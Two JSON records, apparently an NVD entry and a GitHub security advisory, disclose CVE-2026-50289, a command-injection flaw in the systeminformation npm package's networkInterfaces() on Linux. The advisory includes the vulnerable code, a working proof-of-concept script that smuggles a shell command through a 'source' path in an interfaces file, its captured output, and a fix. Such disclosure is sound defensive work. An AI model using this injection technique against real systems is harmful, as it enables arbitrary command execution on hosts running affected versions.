{
  "affected": [
    {
      "affectedData": [
        {
          "product": "systeminformation",
          "vendor": "sebhildebrandt",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.31.7"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "systeminformation is a System and OS information library for node.js. Prior to 5.31.7, networkInterfaces() on Linux is vulnerable to OS command injection through the Debian/Ubuntu interfaces(5) source directive because lib/network.js checkLinuxDCHPInterfaces() reads /etc/network/interfaces, extracts a source \u003cpath\u003e token from file content, and interpolates it unquoted into cat ${file} 2\u003e /dev/null | grep \u0027iface\\|source\u0027 executed by execSync(cmd, util.execOptsLinux), allowing a path containing shell metacharacters to execute commands in any process that calls networkInterfaces(), including via getStaticData() and getAllData(). This issue is fixed in version 5.31.7."
    }
  ],
  "id": "CVE-2026-50289",
  "lastModified": "2026-07-20T17:17:14.860",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-50289",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-20T16:07:02.400955Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-17T20:17:24.857",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/sebhildebrandt/systeminformation/commit/bbfddde48672d0ee124fefdb3cb4442fd9dd4f03"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.31.7"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-5xpp-75jx-m839"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-5xpp-75jx-m839"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.31.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "systeminformation"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.31.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50289"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-15T23:09:28Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nOn Linux, `systeminformation`\u0027s `networkInterfaces()` is vulnerable to OS command injection through the Debian/Ubuntu `interfaces(5)` `source` directive. While collecting per-interface DHCP state, the library reads `/etc/network/interfaces` and, for every `source \u003cpath\u003e` line it encounters, extracts the path token *from the file content* and interpolates it **unquoted** into a shell command string that is run via `execSync()`. A `source` line whose path contains shell metacharacters executes arbitrary commands with the privileges of the calling Node.js process.\n\nThis is the same root-cause class as the previously-fixed NetworkManager-connection-name injection in this file: a value parsed out of local system state is re-interpolated into a shell command string without sanitization. The NetworkManager paths were converted to argument-array execution, but the `interfaces(5)` `source`-recursion sink in `checkLinuxDCHPInterfaces()` was left unfixed and still builds a shell string. The input to this sink is *unsanitized* (unlike the `iface`/`connectionName` paths, which pass through `util.sanitizeString` in strict mode before reaching their commands).\n\n### Impact\n\nAn attacker who can place or influence a `source`d path in `/etc/network/interfaces` (or any file it transitively `source`s) achieves command execution inside any process that calls `networkInterfaces()`. Realistic affected deployments are the same ones that motivate this library:\n\n- local inventory / asset agents\n- monitoring and diagnostics agents\n- admin-dashboard backends collecting host information\n- device-management / desktop agents\n\nIf such a process runs with elevated privileges, the injected command runs with those privileges. `networkInterfaces()` is a core, frequently-called API and is reached transitively by `getStaticData()` / `getAllData()`, so the sink is exercised by ordinary usage on Linux.\n\n### Threat model\n\nThe dangerous value is **not** a function argument supplied by the caller. It is read from the *content* of an `interfaces(5)` configuration file. The stock Debian/Ubuntu layout uses `source /etc/network/interfaces.d/*` and `source-directory` fan-out, so the parser routinely follows `source` directives into other files and re-parses their `source` lines. Any actor who can write a file that becomes reachable through that `source` chain \u2014 for example a lower-privileged process or configuration-management hook that drops a file into a `source`d directory, or a tool that materializes an interfaces snippet from semi-trusted input \u2014 controls the path token that lands in the shell command. No NetworkManager activation or special hardware is required; the only precondition is that one `source`d path string contains shell metacharacters.\n\n### Vulnerable code\n\n`lib/network.js`, `checkLinuxDCHPInterfaces()` (current `5.31.6` line numbers):\n\n```js\n// lib/network.js\nfunction checkLinuxDCHPInterfaces(file) {\n  let result = [];\n  try {\n    const cmd = `cat ${file} 2\u003e /dev/null | grep \u0027iface\\\\|source\u0027`;   // \u003c-- unquoted ${file} -\u003e shell sink\n    const lines = execSync(cmd, util.execOptsLinux).toString().split(\u0027\\n\u0027);\n\n    lines.forEach((line) =\u003e {\n      const parts = line.replace(/\\s+/g, \u0027 \u0027).trim().split(\u0027 \u0027);\n      if (parts.length \u003e= 4) {\n        if (line.toLowerCase().indexOf(\u0027 inet \u0027) \u003e= 0 \u0026\u0026 line.toLowerCase().indexOf(\u0027dhcp\u0027) \u003e= 0) {\n          result.push(parts[1]);\n        }\n      }\n      if (line.toLowerCase().includes(\u0027source\u0027)) {\n        const file = line.split(\u0027 \u0027)[1];                              // \u003c-- path parsed FROM file content\n        result = result.concat(checkLinuxDCHPInterfaces(file));        // \u003c-- recurses, re-feeding attacker path\n      }\n    });\n  } catch {\n    util.noop();\n  }\n  return result;\n}\n```\n\n`util.execOptsLinux` sets no `shell` option, so `execSync(cmd, util.execOptsLinux)` runs `cmd` through `/bin/sh`. The `${file}` token is interpolated raw \u2014 not quoted, not passed through `util.sanitizeString`/`sanitizeShellString` \u2014 so `;`, `$( )`, backticks, `|`, `\u0026`, redirections, and even a bare space all break out of the intended `cat`/`grep` pipeline.\n\nReach chain to the public API:\n\n```js\n// lib/network.js, getLinuxDHCPNics()\nresult = checkLinuxDCHPInterfaces(\u0027/etc/network/interfaces\u0027);\n```\n\n```js\n// lib/network.js, networkInterfaces() (Linux branch)\n_dhcpNics = getLinuxDHCPNics();\n```\n\n`networkInterfaces()` is also reached by `getStaticData()` and `getAllData()` in `lib/index.js`.\n\n### Reproduction\n\nThe PoC exercises the **verbatim shipped sink function** extracted from the installed `node_modules/systeminformation/lib/network.js` (version pinned to `5.31.6`), bound to the same `child_process.execSync` and shipped `util.execOptsLinux` the library uses. It then drives the exact `source`-recursion data flow with a malicious sourced path. A negative control with a benign path confirms no execution occurs on well-formed input.\n\nInstall the pinned vulnerable version:\n\n```bash\nmkdir si-poc \u0026\u0026 cd si-poc\nnpm init -y \u003e/dev/null\nnpm install systeminformation@5.31.6\n```\n\n`poc.js`:\n\n```js\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst cp = require(\u0027child_process\u0027);\nconst libDir = path.join(__dirname, \u0027node_modules\u0027, \u0027systeminformation\u0027, \u0027lib\u0027);\nconst util = require(path.join(libDir, \u0027util.js\u0027));\n\n// Load the VERBATIM shipped sink function from the installed library source.\nconst src = fs.readFileSync(path.join(libDir, \u0027network.js\u0027), \u0027utf8\u0027);\nconst m = src.match(/function checkLinuxDCHPInterfaces\\(file\\) \\{[\\s\\S]*?\\n\\}\\n/);\nif (!m) { console.error(\u0027could not locate shipped function\u0027); process.exit(2); }\n\n// Bind the same free vars network.js binds: execSync + util.\nconst execSync = cp.execSync;\nconst checkLinuxDCHPInterfaces =\n  new Function(\u0027execSync\u0027, \u0027util\u0027, m[0] + \u0027\\nreturn checkLinuxDCHPInterfaces;\u0027)(execSync, util);\n\n// --- Malicious case: a sourced interfaces file with shell metacharacters in the path ---\nconst tmp = fs.mkdtempSync(\u0027/tmp/si-dhcp-\u0027);\nconst outer = path.join(tmp, \u0027interfaces\u0027);\nconst marker = path.join(tmp, \u0027PWNED\u0027);\nconst maliciousSource = `/dev/null;id\u003e${marker};echo`;\nfs.writeFileSync(outer, `auto lo\\niface lo inet loopback\\nsource ${maliciousSource}\\n`);\n\nconsole.log(\u0027PRE  marker_exists=\u0027 + fs.existsSync(marker));\nconst res = checkLinuxDCHPInterfaces(outer);   // == networkInterfaces() -\u003e getLinuxDHCPNics() path\nconsole.log(\u0027returned=\u0027 + JSON.stringify(res));\nconsole.log(\u0027POST marker_exists=\u0027 + fs.existsSync(marker));\nif (fs.existsSync(marker)) console.log(\u0027marker_contents=\u0027 + fs.readFileSync(marker, \u0027utf8\u0027).trim());\n\n// --- Negative control: a benign sourced path must NOT execute anything ---\nconst tmp2 = fs.mkdtempSync(\u0027/tmp/si-neg-\u0027);\nconst outer2 = path.join(tmp2, \u0027interfaces\u0027);\nconst inner2 = path.join(tmp2, \u0027iface.d\u0027);\nconst marker2 = path.join(tmp2, \u0027PWNED_NEG\u0027);\nfs.writeFileSync(inner2, \u0027iface eth0 inet dhcp\\n\u0027);\nfs.writeFileSync(outer2, `auto lo\\nsource ${inner2}\\n`);\nconsole.log(\u0027\\nNEG pre  marker_exists=\u0027 + fs.existsSync(marker2));\nconst res2 = checkLinuxDCHPInterfaces(outer2);\nconsole.log(\u0027NEG returned=\u0027 + JSON.stringify(res2));\nconsole.log(\u0027NEG post marker_exists=\u0027 + fs.existsSync(marker2));\n```\n\nRun it:\n\n```bash\nnode poc.js\n```\n\nVerbatim captured output (against `systeminformation@5.31.6`):\n\n```\nPRE  marker_exists=false\nreturned=[]\nPOST marker_exists=true\nmarker_contents=uid=501(rick) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)\n\nNEG pre  marker_exists=false\nNEG returned=[\"eth0\"]\nNEG post marker_exists=false\n```\n\nThe malicious `source` path caused the injected `id` command to run (marker created, contents = the calling process identity), while the benign `source` path parsed normally (`[\"eth0\"]`) and produced no marker. The injected command runs with the privileges of the Node.js process that called `networkInterfaces()`.\n\n### End-to-end reproduction\n\nThe transcript above is the end-to-end run against the pinned published artifact `systeminformation@5.31.6`, loading the shipped `lib/network.js` and `lib/util.js` from `node_modules`. Exact commands:\n\n```bash\nmkdir si-poc \u0026\u0026 cd si-poc\nnpm init -y \u003e/dev/null\nnpm install systeminformation@5.31.6\n# place poc.js (from the Reproduction section) in this directory\nnode poc.js\n```\n\nThe marker file `PWNED` is created only by the injected command path; the negative-control marker `PWNED_NEG` is never created. The verbatim captured stdout is shown in the Reproduction section above.\n\n### Suggested fix\n\nStop building a shell string from a path that comes out of file content. Read the file with `fs` (no shell), or use argument-array execution, and never interpolate a parsed `source` path into a shell command. For example:\n\n```js\nfunction checkLinuxDCHPInterfaces(file) {\n  let result = [];\n  try {\n    // No shell: read the file directly and filter in JS.\n    const content = require(\u0027fs\u0027).readFileSync(file, { encoding: \u0027utf8\u0027 });\n    const lines = content.split(\u0027\\n\u0027).filter((l) =\u003e /iface|source/.test(l));\n    lines.forEach((line) =\u003e {\n      const parts = line.replace(/\\s+/g, \u0027 \u0027).trim().split(\u0027 \u0027);\n      if (parts.length \u003e= 4 \u0026\u0026\n          line.toLowerCase().indexOf(\u0027 inet \u0027) \u003e= 0 \u0026\u0026\n          line.toLowerCase().indexOf(\u0027dhcp\u0027) \u003e= 0) {\n        result.push(parts[1]);\n      }\n      if (line.toLowerCase().includes(\u0027source\u0027)) {\n        const sourced = line.split(\u0027 \u0027)[1];\n        result = result.concat(checkLinuxDCHPInterfaces(sourced));\n      }\n    });\n  } catch {\n    require(\u0027./util\u0027).noop();\n  }\n  return result;\n}\n```\n\nIf shelling out is preferred, replace the `cat`/`grep` shell string with argument-array execution as shown below, so the path is passed as a single argv element and the shell never re-parses it:\n\n```js\nconst { execFileSync } = require(\u0027child_process\u0027);\nconst content = execFileSync(\u0027cat\u0027, [file], util.execOptsLinux).toString();\n```\n\nQuoting alone is insufficient. Treat every value parsed from `interfaces(5)` files as untrusted even though it originates from local system state, consistent with the defensive `util.sanitizeString` pattern already applied to the interface name and NetworkManager connection name on the sibling paths.\n\n### Fix PR\n\nA fix is provided on a private temporary fork (not pushed to any public fork during the embargo). The branch replaces the `cat ${file}` shell string in `checkLinuxDCHPInterfaces()` with a non-shell `fs.readFileSync` read and adds a Linux regression test that points the function at an `interfaces` file containing a `source` directive with shell metacharacters and asserts that no side-effect command runs (no marker file is produced) while a benign sourced DHCP interface is still parsed.\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-5xpp-75jx-m839",
  "modified": "2026-07-15T23:09:28Z",
  "published": "2026-07-15T23:09:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-5xpp-75jx-m839"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sebhildebrandt/systeminformation/commit/bbfddde48672d0ee124fefdb3cb4442fd9dd4f03"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sebhildebrandt/systeminformation"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.31.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "systeminformation: OS command injection in networkInterfaces() via interfaces(5) source-directive path on Linux"
}